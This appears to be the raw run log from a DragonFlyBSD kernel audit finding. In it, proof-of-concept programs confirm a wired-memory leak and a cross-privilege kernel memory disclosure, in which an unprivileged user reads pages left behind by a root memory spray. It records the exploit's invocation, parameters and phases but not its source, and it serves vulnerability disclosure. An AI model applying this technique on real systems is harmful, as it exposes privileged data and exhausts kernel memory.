⬢ DragonFlyBSD Kernel Audit
DF-4673 / run.log
← back to finding ↓ download raw 
poc_stalebuf.c:46:12: warning: 'geo_pages' defined but not used [-Wunused-function]
 static int geo_pages(int rows, int cols, int frames)
            ^~~~~~~~~
+ cd /root/df467x
+ kldstat
+ grep -q bktrig2
+ sysctl vm.stats.vm.v_free_count vm.stats.vm.v_wire_count
vm.stats.vm.v_free_count: 795209
vm.stats.vm.v_wire_count: 196739
+ echo '== reserve drain cycles (small grows + re-init, root-driven for'
== reserve drain cycles (small grows + re-init, root-driven for
   speed; identical effect to unpriv growth per DF-4672):
+ echo '   speed; identical effect to unpriv growth per DF-4672):'
+ /home/maxx/df467x/poc_race --init
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
+ su maxx -c 'cd ~/df467x && ./poc_wireleak 32 16'
uid=1001 euid=1001 (grow ioctls are unprivileged)
start: bigbuf=0xfffff80118ac4000 alloc_pages=32  wire=196750
idle wire noise over 3s: 13
grow # 2 -> alloc_pages=  64 bigbuf=0xfffff80118b20000 wire_delta=   +0
grow # 3 -> alloc_pages=  96 bigbuf=0xfffff80118b60000 wire_delta=   +0
grow # 4 -> alloc_pages= 128 bigbuf=0xfffff80118bc0000 wire_delta=   +0
grow # 5 -> alloc_pages= 160 bigbuf=0xfffff80118b20000 wire_delta=   +0
grow # 6 -> alloc_pages= 192 bigbuf=0xfffff80118bc0000 wire_delta=   +0
grow # 7 -> alloc_pages= 224 bigbuf=0xfffff80118c80000 wire_delta=   +0
grow # 8 -> alloc_pages= 256 bigbuf=0xfffff80118b20000 wire_delta=   +0
grow # 9 -> alloc_pages= 288 bigbuf=0xfffff80118c20000 wire_delta=   +0
grow #10 -> alloc_pages= 320 bigbuf=0xfffff80118d40000 wire_delta=   +0
grow #11 -> alloc_pages= 352 bigbuf=0xfffff80118b20000 wire_delta=   +0
grow #12 -> alloc_pages= 384 bigbuf=0xfffff80118c80000 wire_delta=   +0
grow #13 -> alloc_pages= 416 bigbuf=0xfffff80118e00000 wire_delta=   +0
grow #14 -> alloc_pages= 448 bigbuf=0xfffff80118b20000 wire_delta=   +0
grow #15 -> alloc_pages= 480 bigbuf=0xfffff80118ce0000 wire_delta=   +0
grow #16 -> alloc_pages=1022 bigbuf=0xfffff80118ec0000 wire_delta=   +0

== RESULT ==
successful grows        : 15 (all unprivileged)
pages allocated by grows: 4830 (18.9 MiB)
wire delta (permanent)  : 0 pages (0.0 MiB)
wire climbed from grow  : -1 (reserve never drained this run)
reserve-drain phase only (increase kmax / step to reach the wire-climb phase)
+ /home/maxx/df467x/poc_race --init
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
+ su maxx -c 'cd ~/df467x && ./poc_wireleak 64 8'
uid=1001 euid=1001 (grow ioctls are unprivileged)
start: bigbuf=0xfffff80118ac4000 alloc_pages=32  wire=196728
idle wire noise over 3s: 35
grow # 1 -> alloc_pages=  64 bigbuf=0xfffff80118b28000 wire_delta=   +0
grow # 2 -> alloc_pages= 128 bigbuf=0xfffff80118b68000 wire_delta=   +0
grow # 3 -> alloc_pages= 192 bigbuf=0xfffff80118be8000 wire_delta=   +0
grow # 4 -> alloc_pages= 256 bigbuf=0xfffff80118ca8000 wire_delta=   +0
grow # 5 -> alloc_pages= 320 bigbuf=0xfffff80118b28000 wire_delta=   +0
grow # 6 -> alloc_pages= 384 bigbuf=0xfffff80118c68000 wire_delta=   +0
grow # 7 -> alloc_pages= 448 bigbuf=0xfffff80118de8000 wire_delta=   +0
grow # 8 -> alloc_pages=1022 bigbuf=0xfffff80118fa8000 wire_delta=   +0

== RESULT ==
successful grows        : 8 (all unprivileged)
pages allocated by grows: 2814 (11.0 MiB)
wire delta (permanent)  : 1502 pages (5.9 MiB)
wire climbed from grow  : -1 (reserve never drained this run)
reserve-drain phase only (increase kmax / step to reach the wire-climb phase)
+ /home/maxx/df467x/poc_race --init
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
+ su maxx -c 'cd ~/df467x && ./poc_wireleak 32 16'
uid=1001 euid=1001 (grow ioctls are unprivileged)
start: bigbuf=0xfffff80118ac4000 alloc_pages=32  wire=197224
idle wire noise over 3s: 19
grow # 2 -> alloc_pages=  64 bigbuf=0xfffff80118b38000 wire_delta=   +0
grow # 3 -> alloc_pages=  96 bigbuf=0xfffff80118b78000 wire_delta=   +0
grow # 4 -> alloc_pages= 128 bigbuf=0xfffff80118bd8000 wire_delta=   +0
grow # 5 -> alloc_pages= 160 bigbuf=0xfffff80118b38000 wire_delta=   +0
grow # 6 -> alloc_pages= 192 bigbuf=0xfffff80118bd8000 wire_delta= +160
>>> WIRE CLIMB PHASE BEGINS (reserve drained; scan-path pages now wired permanently)
grow # 7 -> alloc_pages= 224 bigbuf=0xfffff80118c98000 wire_delta= +192
grow # 8 -> alloc_pages= 256 bigbuf=0xfffff80118b38000 wire_delta= +224
grow # 9 -> alloc_pages= 288 bigbuf=0xfffff80118c38000 wire_delta= +256
grow #10 -> alloc_pages= 320 bigbuf=0xfffff80118d58000 wire_delta=   +0
grow #11 -> alloc_pages= 352 bigbuf=0xfffff80118b38000 wire_delta=   +0
grow #12 -> alloc_pages= 384 bigbuf=0xfffff80118c98000 wire_delta= +960
grow #13 -> alloc_pages= 416 bigbuf=0xfffff80118e18000 wire_delta=   +0
grow #14 -> alloc_pages= 448 bigbuf=0xfffff80118b38000 wire_delta=   +0
grow #15 -> alloc_pages= 480 bigbuf=0xfffff80118cf8000 wire_delta=+1728
grow #16 -> alloc_pages=1022 bigbuf=0xfffff80118ed8000 wire_delta=   +0

== RESULT ==
successful grows        : 15 (all unprivileged)
pages allocated by grows: 4830 (18.9 MiB)
wire delta (permanent)  : 4542 pages (17.7 MiB)
wire climbed from grow  : 6 (post-reserve phase)
WIRED-MEMORY LEAK CONFIRMED (pages wired by the grow path are never returned)
== fresh 32-page init, spray 2600 MiB, unpriv adaptive grow+scan:
+ echo '== fresh 32-page init, spray 2600 MiB, unpriv adaptive grow+scan:'
+ /home/maxx/df467x/poc_race --init
RIG_INIT: bigbuf=0xfffff80118ac4000 alloc_pages=32
+ /home/maxx/df467x/spray 2600 41
spray: dirtied 2600 MiB with tag=41 markers, exiting (pages -> PQ_FREE/PQ_CACHE, contents intact)
+ su maxx -c 'cd ~/df467x && ./poc_stalebuf 41'
uid=1001 euid=1001 round=41 (grow+mmap+read is unprivileged)
start: bigbuf=0xfffff80118ac4000 alloc_pages=32 wire=200762
grow -> alloc_pages=64 wire_delta=+0 (reserve-path)
grow -> alloc_pages=96 wire_delta=+0 (reserve-path)
grow -> alloc_pages=128 wire_delta=+0 (reserve-path)
grow -> alloc_pages=160 wire_delta=+0 (reserve-path)
grow -> alloc_pages=192 wire_delta=+0 (reserve-path)
grow -> alloc_pages=224 wire_delta=+0 (reserve-path)
grow -> alloc_pages=256 wire_delta=+0 (reserve-path)
grow -> alloc_pages=288 wire_delta=+833 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 288 pages: 287 nonzero, 0 kptr, 287 ROOT-SECRET
grow -> alloc_pages=320 wire_delta=+0 (reserve-path)
grow -> alloc_pages=352 wire_delta=+0 (reserve-path)
grow -> alloc_pages=384 wire_delta=+960 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 384 pages: 383 nonzero, 0 kptr, 383 ROOT-SECRET
grow -> alloc_pages=416 wire_delta=+0 (reserve-path)
grow -> alloc_pages=448 wire_delta=+1248 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 448 pages: 447 nonzero, 0 kptr, 447 ROOT-SECRET
grow -> alloc_pages=480 wire_delta=+0 (reserve-path)
grow -> alloc_pages=1022 wire_delta=+480 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 1022 pages: 868 nonzero, 0 kptr, 867 ROOT-SECRET
grow -> alloc_pages=2044 wire_delta=+32 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 2044 pages: 1735 nonzero, 0 kptr, 1734 ROOT-SECRET
grow -> alloc_pages=3065 wire_delta=+2857 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 3065 pages: 2601 nonzero, 0 kptr, 2600 ROOT-SECRET
grow -> alloc_pages=4086 wire_delta=+4118 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 4086 pages: 3467 nonzero, 0 kptr, 3466 ROOT-SECRET
grow -> alloc_pages=5107 wire_delta=+33 (SCAN-path)  << RECYCLED PAGES
  ROOT-SECRET page 0 (tag=41 spraypage=121355):
    page 0: 524f4f5453454352 0000000000000029 000000000001da0b 004446343637332d aa0000000001da0b aa0000000001da0b

  ROOT-SECRET page 1 (tag=41 spraypage=121696):
    page 0: 524f4f5453454352 0000000000000029 000000000001db60 004446343637332d aa0000000001db60 aa0000000001db60
 -> scanned 5107 pages: 4334 nonzero, 0 kptr, 4333 ROOT-SECRET
grow to 5139: Cannot allocate memory (stop)

== RESULT round 41 ==
scan-path buffers scanned: 8 (16444 pages total)
nonzero pages: 14122; kernel-pointer pages: 0; ROOT-spray secret pages: 14117
KERNEL MEMORY DISCLOSURE CONFIRMED (cross-privilege)
vm.stats.vm.v_free_count: 772265
vm.stats.vm.v_wire_count: 219730
+ sysctl vm.stats.vm.v_free_count vm.stats.vm.v_wire_count